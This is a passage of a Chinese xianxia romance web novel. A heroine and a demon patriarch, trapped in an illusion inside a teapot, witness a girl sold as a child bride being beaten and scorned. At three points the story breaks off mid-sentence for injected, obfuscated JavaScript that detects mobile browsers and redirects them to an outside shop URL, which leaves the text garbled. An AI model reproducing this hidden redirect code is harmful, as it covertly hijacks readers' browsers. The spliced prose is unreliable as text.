荆歌心情甚好地伸手拨了拨水面。 靠着她肩窝假寐的魔祖冷不防地开口道:“想到什么了,这么开心?” 撩拨泉水的手登时顿住了,荆歌僵着身子低眸看他,这老祖不知什么时候醒了,又或者根本就没睡着。 “醒了?醒了的话就离我远点。” 他俩现在的姿势太过危险,稍有不慎魔祖的那处便搞“小动作”。 荆歌抬起腿,想要远离他。然而,她还没起势,咫尺之距的老祖扣在腰上的手便更紧了。 “跑什么,还没好。” 一来二去,两人贴得更近了。 荆歌无语至极,索性闭上了眼。 抱就抱着吧,反正这老祖宗身材好,她不吃亏。 魔祖的脸重新埋进了荆歌的颈窝,深深嗅着颈肩的气味,用近乎低不可察的声音轻叹道:“只有你抱着我,我才安心,魔相才能稳固。” 是是是,你说什么就是什么。 放弃挣扎的荆歌就着这个暧昧的姿势,开始思考任务的下一步如何展开。怀中的魔也安静了下来,不再闹她。 这一抱,就是一天…… 荆歌从云床上醒来之时,已经到了凤竹堡。 负恶为赑屃子孙,虽可日行千里,但毕竟是个生灵,需要吃食和休息,到凤竹堡后,说什么都不愿再往前走了,一头扎进了凤竹堡旁边的鸡鸣湖。 鸡鸣湖底通海,它要去海底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125980|196074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找龟妹玩。 这大块头说给魔祖请假说它要去找龟妹时,荆歌以为自己出现了幻听,心想孩子有什么想不开的吗?给资本家打工还想请撩妹假,好天真哦。没成想魔祖丢给了它一个乾坤袋,说里面有无穷尽的食物,让它背着去玩吧。 负恶用头亲昵地抵了他一下,仰天大笑着咕咚到了湖中,用翘起的尾巴和他们说了再见。 荆歌看着它,留下了羡慕的口水……神兽都能带薪休假,这世界给她的破任务,什么时候才能做完啊? 魔祖饶有趣味地盯着她这幅样子看,看了片刻后,伸手将她揽进了怀中,问:“你想吃它?” 荆歌:“?” “等它回来,就把它绑起来烤了。” 哟,还等它回来,你人怪好的嘞,又送断头饭又送断头游的,真是人家的好祖宗。 腹诽结束,荆歌面无表情地白了这老祖一眼,从他的怀抱中挣脱而出,走近秦楠,和她一同看向身后的村落——凤竹堡。 凤竹堡整个村子都在一个环形的露天碉堡之中。秦楠告诉她说,堡里能人异士多,风水产物好,村中人日子过得要比邻村周县的人好得多,因而常遭人红眼,时有外乡人不怀好意前来惹事,掠夺堡中之物。 久而久之,凤竹堡就紧闭大门,不再欢迎各方来客了。 听了她的话,荆歌心中难免生疑:就算他们身处风水宝地,物产丰富,可自产自销,但长此以往不与外届交往,真的能够维持长久发展吗? “无穷境在凤竹堡和朝凤山之间,鬼王狡诈谨慎,若用功法飞行,必会被他察觉,只能伪装成凡人,步行前往。这两地之间无其他路可走,只能穿凤竹堡而过。” 秦楠望着不远处紧闭的大门,眼神中蓄着复杂的情绪。 “你不是说,凤竹堡不接纳异乡人吗?我和——”荆歌看了眼身旁百无聊赖的老祖,“我和他,能进去吗?” 不等秦楠说话,魔祖突然道:“能进去就进,进不去就闯,敢挡本座的路,找死。” 闻言,秦楠身上惊起了一身冷汗。 魔祖自称为“本座”之时,必然不是跟身旁的女子说话。 这话就是说给她听的。 喜提荆歌白眼一枚的魔祖,欣然笑纳,视线淡淡扫了一眼身子发颤的女鬼后,大步往前,立于凤竹堡大门前。 只一个眼神,门便开了。 见状,魔祖挑眉看向荆歌,眼中都是对自身实力的肯定。 荆歌懒得看他,眼神越过他径直看向凤竹堡中,眼中骤然升腾起一片诧异。 没有秦楠描述的人来人往,车水马龙,欢声笑语。堡中反而安静得离奇。 忽然,大雾四起,从雾中走出来一个跛脚佝偻的老人,老人一步一消失,口中念着些什么。 “话说上次,老夫给各位讲到了阿蛮被沉水之事,今日我们就来听听后事如何!” 阿蛮? 荆歌正轻声念着,老人却毫无征兆地突然出现在了她的面前。 “啊!” 荆歌往后退了一步,惊恐之中落入了一个怀抱。魔祖在她身后,而秦楠却早已不知所踪。 那声尖叫,是她的,也是秦楠的。 面前的老人梗着脖子,瞪着没有瞳仁的白眼,紧紧盯着荆歌。 “姑娘,你要听听吗?” 5. 冥婚配 故事什么的,荆歌这会儿实在是无福消受,只想离他远一点,脚底却如千斤重,一动也动不了。她清楚地感知到自己的力量正在一点点地消失,视野也越来越模糊。 魔祖扣在她腰间的手猛然一紧,将她带到了身后。 “封住五感,这雾有毒。” 话音未落,大雾弥漫得越发浓重,荆歌身子晕倒向地——什么五感?她不会封啊…… 视野完全丧失的前一刻,她似乎看到有什么东西,从空中撒了下来。 再次醒来之时,荆歌入目便是一片平静的湖,春风一吹,粼粼波光如丝弦撩人心扉。这就是负恶离开时候进入的湖,鸡鸣湖。湖水几乎围住了一半的凤竹堡。 视野中出现的白色网绳很是扎眼,她用手扒拉了几下,发现自己被捆在了网里,吊在湖边的石亭中。 “醒了啊。” 跛脚老人坐在凉亭之中,悠悠品着碗中的黑血,一双白眼眺望着无波无澜的湖面,开口道。 “既然醒了,就听老夫把这书讲完吧。”老人一饮而尽杯中的黑血,抹去了嘴角的血滴,拿起一把折扇叩了下亭中的石桌。 仔细看,他的脸色白如纸张,不见一丝血色,抹开的血迹顺着嘴角往脸颊爬,一直到了耳畔,就像是给这张枯瘦的苍白如纸的脸上,撕开了一张血盆大口,使本就狰狞的脸显得更加可怖。 已经没有了方才的恐惧,荆歌观察着他,发现他动作僵缓,拿着扇子的手,指骨突出,指节向外翻转,整个手看上去是畸形的。 他应该不是人。 “这是个行尸。” 同吊在一起的魔祖睨着亭中的老人,压着眼底的怒火,给荆歌解释道:“行尸,人死之后因各种原因发生的尸变,同常人般可行走,却无魂无魄无神识,会攻击活人,喜食人血。” 身旁突然冒出来的声音吓了荆歌一跳,抚平心跳后看向同她在一张网中的魔头,暗自腹诽:你瞅瞅你,身材高大,面色凶狠,还是魔族的新老祖呢,怎么战斗力和她一个没修过仙的一样弱,真是书里描述的不可一世的大魔王吗? 荆歌眼中的嫌弃尚未形成,脑中却陡然出现了昏迷前的场景——吸入毒雾之后,她头向地面栽去,魔祖大喊了一声: “荆歌!” 这是她的名字,不是原书中女主的名字。 好像就是在这时,趁着魔祖的注意力都在她身上,一张巨网从他们的头顶罩了下来。 后来的事,荆歌就不记得了。 “为何用这样的眼神,本座不弱!本座只是……”魔祖别过了眼,耳廓悄然泛红。 看起来是真急了,对女主都用上“本座”了,荆歌心底“啧”了一声,忽然想起原文的设定,这魔王好像只有一千多岁,相比仙侠文中动辄十万八千岁的老仙人来说,确实是个孩子。智可能都未开的年龄,遇上了女主,情窦先开了。 情窦初开的少男魔祖看到心爱的姑娘昏迷了过去,一时着急,关心则乱,被坏老头偷袭,困在网里,倒也解释得通。 给他找完补后,荆歌收敛了眼中的嫌弃,宽慰道:“没嫌弃你,马有失蹄时,人肯定也有做错事的时候,你虽为魔祖,一时不察被抓住也情有可原,要怪就怪我,五感封得太慢了。” 身旁人说得情真意切,少男魔祖越听脸越红,索性捂住了荆歌吧啦个不停的嘴巴,认真道:“不许怪你自己。” “要是让我再听到你说自己不好的话,本座就……” 我就是随口这么一说,开玩笑我荆歌怎么可能会怪自己?这不是安慰你身为魔祖的自尊心吗? 荆歌把这些话藏在了心底,只对着神色认真得有些可爱的魔祖眨巴两下眼睛,第一下是表示:好的魔祖,我知道了。第二是警告:再不放手,我就要咬人了。 魔祖松开了手。 行尸老人闻言大笑了起来,满口腥膻,抬眼看向网中待宰的“两只羔羊”,嘲讽道:“别白费力气苦苦挣扎了,这是扶生仙君做的缚灵网,无论你是何方神圣还是各方诸邪,只要进了这网,就甭想再出去了,还是乖乖待在网中,好好听老夫说书吧,说完,二位可自便。” 行尸虽眼底一片白,荆歌却愣是从他脸上瞧出了不讲完书誓不罢休的倔劲。算了,他要讲,他们就听听呗,反正现在也出不去,着急没用,权当拖延时间想对策了。 老人端起茶壶,又往杯中倒了些人血,一饮而尽,折扇在石桌上一敲,绘声绘色地讲起了一个故事。 “两位书友——”老人起身,向网中的一人一魔作了一揖。 荆歌心说:谁是你书友,人血擦净了好好说话。 “故事一旦开场,讲不完可不能离场。” 荆歌:谁想听了,搁着强买强卖呢! “二位坐好了慢慢听嘞。” 荆歌:来来来你蹲这儿试试,腿都麻了。 说书人来回踱步,正是开讲。荆歌从开始在心底反驳式吐槽到最后竟然越听越入迷。 “话说,三百多年前,凤竹堡来了个六岁女娃,女娃不知其姓,只知乳名为阿蛮。阿蛮女娃水灵灵,叫人一见心欢喜,家家争她当等郎媳。” 等郎媳?荆歌看了身旁的老祖一眼,小声问:“什么是等郎媳?” 魔祖此时双目半阖,盯着说书的行尸,道:“简单来说,就是把女儿卖到旁人家,等着那家生出儿子成婚。” 话音未落,荆歌便骂出了声:“大爷的,真他爹的荒唐,什么封建糟粕!要是那家生不出儿子,那姑娘的一辈子谁来赔?” 从前她在书中看到童养媳的遭遇都能气到原地升天,不曾听说过等郎媳,她都不敢想,这些姑娘得多么的无望。 说书人折扇一合,白眼看向荆歌,继续道:“姑娘莫急,且听我细细说。” “凤竹堡,富人住东头,穷人居西地,穷人生女作富人等郎媳。前者求子嗣,后者为生计。等来丈夫时,或容颜青青或两鬓风霜,等不来丈夫时,逼与鸡成亲,或卖烟柳地。” 听到这里时,荆歌已经火冒三丈了,要不是在缚灵网中无能为力,她横竖得抓着这老行尸的衣领问:“你说的都是真的吗?这封建陋习谁定的,姑奶奶要去卸了他!” 觉察到了身侧女子的愤怒,魔祖轻拍她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125981|196074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的肩安抚她:“再忍忍。”话虽这样说,他的眉宇之中的恼怒,也快压不住了。 说书人观察着他们的反应,折扇一开,继续往下讲。 “这阿蛮到了主家后,勤勤恳恳,鸡鸣日升前起,日落挂月前难歇,实在受不了了,从东头跑回了西头,却被父亲赶了回去。” “其父边赶边打边骂:晦气的东西,哭什么哭,都卖给人家了,跑回来做什么,这早都不是你的家了!” 原来,阿蛮家中添了弟,母亲却难产而亡。父也非亲生父,生父已死,母改嫁。 荆歌眼泪再也忍不住了。 她才六岁,父母就双亡了,还被继父卖给了人家当等郎媳!这命也太苦了! 魔祖叹了一口气,从袖中拿出一张画着“黑毛球”的帕子,拂去了荆歌眼角的泪。 说书人折扇一合,坐回了石凳上,慢悠悠地又给自己倒了一杯人血,品了起来,边品边道:“阿蛮回到主家后,又遭了一顿毒打,从此便没了回娘家的心,一心盼着婆婆早日产下男婴。” 荆歌擦干眼泪,心中忿忿不平:她哪来的家?回哪儿去? “主家人总指着她婆母的肚子问她:怀的是男是女啊。阿蛮想说不知道,男孩女孩都行。但她知晓自己不能这般说,便道:男孩。” “其婆闻言心欢喜,笑道:好阿蛮,好阿蛮,等你的小丈夫出生,就有人疼你了。阿蛮盯其肚腹复说道:等我的小丈夫出生,就有人疼我了。” “后来啊,主家婆母确生一子,众人欢喜。然世事无常,天不遂人愿。” 荆歌忙问:“发生什么了?” 说书人道:“婆母难产亡,其子三日后气绝。” 闻言,荆歌心头一裂,不知作何感受。 魔祖神色阴沉,道:“从此以后,这女子的痛苦只会有增无减,与日俱增。” 说书人看着魔祖,轻颔首,“这位听客说得对,从此以后,阿蛮遭受的苦难,越发深重。”他喝完壶中的最后一点黑血,放下折扇,对着网中一魔一仙道:“老夫要讲的,今日就讲到了这里,剩下的,请两位自己却瞧吧。” 等等,这话是什么意思,不是说讲不完不让他们离场么?荆歌大为不解,直接问道:“你不是说说不完不放我们走么,现在这话什么意思,让我们去哪儿瞧,瞧什么!” 说书老人不语,只掀起了壶盖,壶中人血喝尽了,壶壁上仍沾着血迹,他道:“老夫的‘茶’喝光了,讲不动了,劳驾二位出出血,去壶中走一趟吧。” 话落,吊在亭中的缚灵网向下一松。荆歌下意识扒住了身旁唯一可以依靠的,魔祖顺势紧紧环住了她,恶狠狠地瞪了一眼说书的老东西。 缚灵网在空中陡然变小,最终落进了茶壶中,说书老人急忙盖上了盖儿,恭恭敬敬地向翩然而至的红衣女子复命。 “老夫完成姑娘交代的任务了。” 女子点头。 说书人保持着作揖的姿势,骤然变得干瘪,最后像白纸一张落在了地上,浸泡在了黑红色的血泊中。 女人不再看他,盯着叮铃作响的茶壶,若有所思。 6. 等郎媳 “谁叫你抱他的,要不是你,我儿怎么会死!”男人怀抱中的男婴,体温已逐渐变得冰冷。男人眼神狠厉至极,一脚踹翻了缩着身子立在一旁的女孩。 阿蛮摔在了地上,捂着肚子,默默擦着脸上的泪。这时的她已经十六岁了,自被卖到这户人家里作等郎媳,已经过去十年了。 十年前来到这里的时候,主家笑着对她说:“算命的说了,你的生辰八字好,娶你进家门,保我能有个大胖儿子。” 她看着满院站着的姨婆,读不懂她们眼中的情绪,更没法开口说,她的生辰,只有母亲记得。 可是母亲死了。 继父不过是为了钱,刻意迎合,编造了一个八字而已。 十年了,她终于等来了自己的小丈夫。 小丈夫死在了她的怀里。 她不过是想抱抱他,告诉他,请你快快长大,好好疼我。 可是不知为什么,小丈夫没了呼吸,身子也开始发冷,她不知道该怎么办,只能四处叫人,叫来了公公,喊来了几房的姨婆,姨婆的声音可真大,招来了街坊邻里,小小的厢房中站满了人,院子里也到处都是人,够着脑袋看的,贴着耳朵听的。 阿蛮听见他们左一句右一句地说: “真是个丧门星哪,进门之后,先克死了婆婆,又带走了她的丈夫。” 原来小丈夫死了啊,和父母婆母一样。 “听说这姑娘来主家前,父亲就死了,母亲改嫁后生了一个儿子也死了,到哪儿哪就死人。” “怪不得继父把她卖了。” 阿蛮想不明白,母亲明明是生弟弟时死的,怎么这也能怪在她身上? “挺水灵一个姑娘,怎么就是个克夫克亲的命!” 身上的疼已经感受不到了,阿蛮捂住了心口。 这里好像在流血。 她抬眼看着周围的人,他们的脸一会儿清晰一会儿模糊,好像在笑又好像在哭。恍惚中,阿蛮好像看到他们每个人身上都背着一把大刀,像行刑的刽子手那样,一齐向她挥了过来。 “啊——” 阿蛮抱着头,从地上站了起来,冲出了人群,不顾一切地往前跑。 她要离开这里,她要离开这里,她要离开这里! 身后的众人伸出了长手,拼命阻拦着她。 荆歌站在喧嚣的人群中,听着久久不绝的咒骂声,对着阿蛮奋力喊:“阿蛮!就这样往前跑,不要停,不要回头看!” 她向阿蛮张开了双臂。 阿蛮穿过了她的身子,跌倒在了地上。 荆歌看着落空的双手,身子僵顿。 主家的仆人赶来,抓住了阿蛮。 阿蛮疯了一样地嘶吼、挣扎,无济于事。 周围男人们伸出的手指指点点,眼底流露出的是厌弃、憎恶。女人们神色凝重却又麻木,因为这样的事情,她们也曾亲历。 没人能救她,也没人能救她们。 “真是吃了雄心豹子胆了,敢从主家逃跑!” 荆歌不知道从买家手中逃跑意味着什么,只知道自己没有接住她。身子一软,半跪在了地上,愣愣地看着阿蛮被拖走的背影,心里一阵又一阵的抽搐。 无能为力的感觉好差。 比死还要难受。 为什么会接不住她呢…… 目睹了一切的魔祖,弯腰扶起了荆歌,看着哄闹的人群,神色漠然,就好像这样的事他已司空见惯,见怪不怪了。 “这是壶中境,外入的人,只能旁观,无法左右。” 荆歌起身,压下翻涌而来的泪意,问:“没有办法帮她吗?要怎样才能出去?” 此时的一人一魔,就像游魂一样立于闹市之中,他们亲睹了阿蛮的遭遇,却无法出手相助。 荆歌出神地想,她为什么从一开始只想完成这个“世界”发布的任务,变成现在这样急切地想要帮她呢? 来这里不过一两天。 “真的办法吗?” 魔祖望向她。 “壶中境,同其他法术怪力布下的幻境并无二致,唯一的区别便是随着‘境’的推移,设境者的力量会减弱,在这之前,无法直接左右他人命运,但——” “但什么,别卖关子了,有话快说。” “可通过对‘细枝末节’的修理,改变境中人的际遇,只不过……”最后的几个字个字魔祖说得很轻,几乎是听不见的。 私心地说,他也不想让她听见。 “这样就够了。” 魔祖的话中意荆歌了然,不能直接插手,但可以间接改变。 “而从这里出去,有两条路可走,一是找到‘境心’,解之,二是随着境的推移,等布境人法力减弱,一举攻破。若现在就举力攻之,必遭境之反噬,永远被困此地。” 任务重时间紧,一一亲历壶中境对荆歌来说简直是酷刑,她果断选择前者。 “我们找‘境心’吧。” “好。”魔祖继续道,“境心通常与故事中最重要的人有关。” 这是阿蛮的故事,最重要的人,当然是阿蛮了。 荆歌拉上魔祖,两人一起往贺家“飘”。 贺家,就是买阿蛮的主家。 阿蛮被抓回去后,贺家家主贺无颜命人将她吊在了树上。 贺无颜拿着一把布满勾刺的长鞭,一向又一下地往阿蛮身上甩,三两下后,阿蛮身上皮开肉绽。 “叫你跑!你是老子买来的,是生是死,老子说了算!” “吃了老子家里十年的饭,克死了老子的婆娘,又克死了老子唯一的儿子,你、你这个挨千刀的!” “老子要扒了你的皮,抽了你的筋,再把你扔到野坟堆里喂狗!” 被吊在树上的阿蛮,不哭不闹,神色漠然,只抬头望着天空中的云儿。 这幅毫不在意的模样,又惹恼了贺无颜。 “你!” 鞭子高高扬起。 在墙头上站着的荆歌,见状立马挑了下来,冲到贺无言的面前,握住了他再度抬起的手腕,往后猛地一推。 贺无颜摔在了地上,见鬼似的大喊:“谁!是谁!谁他爹的推老子!” 荆歌仗着自己现在是透明人,为所欲为,双手叉腰大喊道:“是来揍你的姑奶奶,荆歌!” 魔祖跟在她身后,背在身后的手,藏在袖中施法,眉心轻皱。 府中的下人赶忙冲过来扶贺无颜,他起身后往阿蛮身前扑。 “是不是你搞的鬼,你这丧门星,莫不是身上沾了什么东西,不干净吧!” 一位姨娘拦住了他。 “家主,这妮子人被你吊在树上,都快打死了,怎么会是她呢?” 一直抬头望着天空的阿蛮,突然低头,看向了挡在她身前的女人。 穿着墨绿衣裳的三姨娘,额角还有淤青。 她的身形,好像……她的阿娘。 “方才摔的那一下,定是贺玉绊的,他还在床上躺着呢,到现在都没能入土为安,真是可怜啊。”三姨娘说着,留下了两行泪。 “家主还是快去看看玉儿吧。” 闻言,贺无颜果然停下了动作,鞭子仍在了地上,着急忙慌地往屋里跑,边跑边喊:“我的玉儿啊!” 众人又拥着他去了,一时之间,院中只剩下了三姨娘。 三姨娘捡起吊在地上的鞭子,回身看了阿蛮一眼,将鞭子装进了袖中,转身离开了。 荆歌看看她的背影,又望向吊在树上的阿蛮,心头如同被千金锤砸中,重得喘不过气来。 “荆歌,你想帮帮她吗?” 脑中突然出现了清禾的声音,声音里带着从未出现过的急切。 “嗯。” “我想帮她。” 清禾道:“仙君闭关前,曾命不同宗门的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125982|196074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人教你修道。不同之道,你均已入门,不过修习的深浅不一,其中,医道修炼得最为深厚。” 荆歌大喜:“你是说,我在这个世界中,是个神医?”她小时候就想当个医生,后来听说了医学生入门前要徒手抓青蛙,她战胜不了生理性对青蛙的恐惧和厌恶,就不了了之了。 来到这里,也算是圆了小时候的梦了。 “可以这样理解,因为你本身,就有治愈万物的能力。” 这样的说法,让荆歌有些不好意思:“哎呀,别这样说,我哪是什么治愈系的小甜心。”虽然小时候确实羡慕南宫问雅,双手那么一放,什么奇珍异兽都就变成傻白甜了。 她觉得很治愈。 受南宫问雅的影响,她从小立志要当个人见人爱的甜妹,后来也不知道哪里出了问题,她成了一个人见人躲的“暴躁”少女。 突然被人说治愈,属实受之有愧啊。 不过,有了医术,她就可以帮阿蛮处理伤口了——至少,能让她不那么疼。 阿蛮被仆人从树上放下,扔到了堆杂物的柴房中。 仆人对着看守柴房的小厮说:“看着点,别让她死了,家主说明日就把她卖进窑子里,把这几年吃的饭钱赚回来。” 守门小厮道:“她这么晦气,哪个窑子敢要?” 仆人敲了一下他的额头,“你傻啊,又不是所有人都见过她,卖的时候不说真话不就对了。” 实在是听不下去了,荆歌跳起来给他俩一人一脚,将人踢得远远的。魔祖对着两人施了点幻术,让两人哑着声音在院中“狗咬狗”。 荆歌趁机溜进柴房,查看阿蛮的伤势。 阿蛮已经昏过去,她正要根据清禾的提示为阿蛮疗伤,魔祖突然伸出手阻拦。 “你这是要干什么?为何拦我?”荆歌又急又气,“她伤得很重,虽能撑到明早,但身子太疼了。我医术修得最好,就想让她今夜过得不那么难受,这不算改变她的命运吧。” 魔祖低着头,不去看荆歌的眼睛。 “不算。” “那你这是在做什么?把手拿开!” 话音未落,魔祖却双手握住了她的手。 “你信我吗?” 荆歌有些诧异:“你在说什么呢?什么信不信的,我着急救人。” “好,你救,但在救人之前,你若信我,便跟着我念一道口诀。” 已入夜,月光清凌凌地洒了下来。 荆歌看向他,眼底由无奈变为妥协。 眼前的魔虽以面具遮半面,眼底的赤诚却在月光的见证下,如同海浪一般涌了出来。在这样的目光中,很少有人能全身而退,不溺其中。 鬼神神差地,荆歌点了下头。 魔祖紧张的心安定了下来,在月光中教荆歌念了口诀。 荆歌如愿以偿地帮到了阿蛮。 在她怀中的阿蛮,原本因痛苦而紧皱的眉头舒展了开,身上的伤痕也淡了许多。救人是费神劳神的,荆歌抱着她,靠着门,也沉沉地睡了过去。 魔祖脱下身上的外衣,轻轻盖在依偎在一起的两人的身上,后小心翼翼地坐到了荆歌的身边,让她靠着自己的肩睡。 看着她的安然的睡颜,他想起了她方才的急切。 她呀,总是这样,遇到想救的人,会不顾一切施以援手。 他想替她救,她总是不肯的。 她说:“有些事情,我一定要亲自做。” 他从不拦她。 只盼着,她不要因为任何事任何人受伤。 月光披拂在他们的身上。 魔祖抬起手臂,撩开衣袖,小臂上出现了深深浅浅的鞭痕。 他是魔,长鞭造成的疼痛尚且可以忍耐,但若是这些疼痛转移到了她的身上—— 他会疯。 会不顾一切地毁掉这里的所有。 杀光这里的所有人。 7. 等郎媳 天色微亮,荆歌起身,轻轻将阿蛮放在了地上,拉着魔祖先一步出了柴房。不一会儿,便有一名家丁,带着一个郎中走了进来。 郎中瞧了眼阿蛮身上的伤,正要用药,家丁伸手拦了下他,道:“大夫,不用给她用好药,只要保证她活着就行,活着才能卖出去。” 闻言,郎中瞪了说话的家丁一眼。 阿蛮的事,街里邻巷早都传开了,他家中亦有女儿,和阿蛮一般大。眼下看到她这般,不由得想,若是他女儿遭遇如此,身为父母,他该是怎样的心痛。 想到这里,郎中给阿蛮用了做好的疗伤药。 上完药,家丁轻咳了一下,理直气壮道:“看病的钱暂赊着,等把她卖了,我们再给你。” 郎中冷哼一声:“不用了,卖媳的钱,老夫拿着心不安。”说完,他又看了一眼躺在地上的小姑娘,叹着气走了。 “家主宽厚仁慈,让你在这里再待几天,等伤好得差不多了再送去卖,我劝你争气点,不要死在府中,趁着年轻多赚点,报答家主,再去庙里多捐点香火钱,请求佛祖洗清你身上的罪孽。” 家丁眼中的厌恶挡不住,撂下这句话后就锁了柴房的门跑了。 荆歌捡起一块石子,瞄准他的腚弹了过去。 “啊哟!” 家丁从地上爬了起来,骂骂咧咧地嚷道:“谁打我,给老子滚出来!” “我打的。” 贺府的“管家”拿着鸡毛掸子从树后走了出来,一下又一下往家丁的身上招呼。 “给谁当老子呢,嫌活太少是吧,打挨少了是吧!” 家丁抱住头,边跑边认错:“贺管家,小的知道错了,小的再也不敢了,这就去忙,这就去。” 看着这欺软怕硬的仆人跑远后,“管家”摇身一变成了荆歌。 魔祖就站在她身后,看着她“助人为乐”。 “阿蛮身上的伤差不多都被处理好了,一时半会儿也醒不过来,我们要不去别的地方瞧瞧,找找其他关于‘境心’的线索。” 魔祖颔首:“可。”说罢,他从袖中取出一片小兽样的剪纸。剪纸飘到柴房里,找了个隐秘的角落,自己贴了上去。 “这是不觉兽,可神不知鬼不觉地守护和传递消息。” 荆歌“哦”了一声,带着探究的目光多看了他几眼。 这老祖不是魔吗?怎么干的都不是一个合格的魔应给做的。简言之,不干魔事。 魔祖从最开始直视着她的目光到后来有些闪躲,最后被她看得耳根子都红了,别扭地问:“你一直盯着本座作何?” 荆歌盯着他逐渐红温的脸,戏谑道:“小老祖,你还挺细心。”她用“狗血淋成落汤鸡”作者惯用的仙侠修真界的时间设定,换算了一下眼前这位魔祖的年龄,发现这位一千多岁的祖宗,在现实世界中不过十七八岁,和二十岁的她相比,还是个弟弟呢。 一直没想好该如何称呼他,可就在刚才,她的脑子里突然蹦出来了“小老祖”三个字。 老祖,是对他开新魔之宗的肯定;小,是基于他真是年龄的客观表述。 小老祖一称呼,既恭敬又不谄媚,还带点调侃的意味,使自己在面对这位魔头时,不居于下风。 况且,她还发现,这位身材高大的祖宗,在魔宫时虽有一些让人面红心跳的“出格”行为,但都是雷声大雨点小,点到为止,不会有更过分的举动。 出了魔宫,这位祖宗更是指哪儿打哪儿,一不小心还被人用“阴招”暗算了。强大的魔力还未来得及施展,就被困在了这小小的壶中境。 说起来,还怪可怜的。 荆看着他,十分满意自己想出来的这个称呼,完全不在意这位祖宗的想法——恋爱脑嘛,叫什么应该都能自动演化成亲密的昵称。 话落,小老祖眼睛倏然一亮,松了下肩,胸膛往高挺了挺,扬着下巴道:“那是自然。” “本座向来如此,胆大心细,法力无边。” 咦,还挺臭屁。 荆歌摇了摇头,先一步走了。魔祖快步跟了上去。 一魔一人出了贺府,便不用在隐匿身影,换上了一身常服,混迹在人来人往的街市中。荆歌边走边想去哪儿打听有关阿蛮的信息,转头便看到了卖布鞋的摊点前坐满了高矮胖瘦不一的大娘。 卖鞋的摊点位置选得好,在集市的中心,周围还有卖首饰、猪肉和各种蔬菜瓜果的。摊点后建有一排矮墙,可以用来短坐或摆放东西。 此时天色微亮,街上的行人并不多,摊主们摆好货后,就聚在后面的矮墙前吃早食。 荆歌看着聚拢在一起有说有笑的大娘们,突然有种柳暗花明之感——这不就是驴过去都得被蛐蛐两句的“村东头”吗? 搁这里蹲一天,保管街头巷尾,从东到西,有的没的,真的假的的秘闻隐事,都能像抖筛糠似的抖一脑袋。 荆歌拉着魔祖蹲在了墙角,摇身一变,成了贩夫走卒。 “你们听说了吗,东街贺家的小媳妇昨天逃跑了,又被抓回去了嘞。”大娘吃了一口包子皮,喂身后背着的孩童吃了一口肉馅。 “当然听说了嘞,小丫头跑了一半又被抓回去了,我亲眼看到了呀。”另一大姐喝了口热水,“不晓得抓回去后会怎样的嘞。” “俺知道俺知道!”一个身材丰润的大娘忙道,“俺昨天推车路过贺家门口时,听到了从里头传来的叫声,那叫一个惨啊。” “那是被吊起来用鞭子抽了,”一位大叔适时插话,“俺爬墙头瞅了眼,那小丫头片子被打得老惨了,看得人心老难受了。” 荆歌记着秦楠说过,凤竹堡不是不接受异乡人吗,怎么在小小的一个街头,她就听出了两三种方言。 许是受本地方话或者官话的影响,大娘大叔操着的口音听起来都不够原汁原味,但恰好能让人听懂。 说起来方言,她到现在还不知凤竹堡的本地话有什么特色,也不知道听不听得懂。 “谁说不是尼,”一位大哥吸溜了一口面,“咱昨天看到那丫头子一直往外跑,好像想往鸡鸣湖跑,估摸是不想活了。” “恁说哩对,”一位老大哥吸溜完碗中的汤,接着上一位的话道,“俺听说那小妮儿有个小姐妹,也被卖去人家作了等郎妹,十年八载等不来丈夫,和家里的长工好上了,被主家晓得后,浸了猪笼,淹死在鸡鸣湖了。” “娃儿可能觉得活不下去了,想下去找姐妹吧。” “也是,贺家主人是个哈(坏)脾气,被抓回去,女娃也是要被折磨的,倒不如死了,一了百了。” “侬讲个对,我也看见过一回,那小囡半夜在鸡鸣湖游水,一头扎进去半天不出来,吓死个人嘞。” “窝也见过!” “……” 说话的功夫,天光亮堂了起来。 聚在一起的摊主们收拾了一下,各自散去,开始了一天的叫卖。 荆歌和魔祖轻步离开了。 从摊主们的闲谈中,她捕捉到的关键信息只有两个——鸡鸣湖和阿蛮已经死了的玩伴。 两人走着走着,到了一方茶馆。魔祖要了一壶茶水和几盘点心。 壶中境里,除了直接出手改变境主命运时,他们会变成透明人外,大多时候的一人一魔,和在壶外一样,有口腹之欲。 但荆歌着急出去做任务,没什么胃口,小老祖却格外执拗,非要让她吃点东西再继续。 “尝尝。”他拿起盘中的一块红绿相 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她明明顶替了清禾的身份作为女主在这个世界进行任务,为什么小老祖在危急时刻喊她本名“荆歌”?为什么清禾说她不会做这道花红柳绿,魔祖却说第一次吃到这个糕点是她做的? 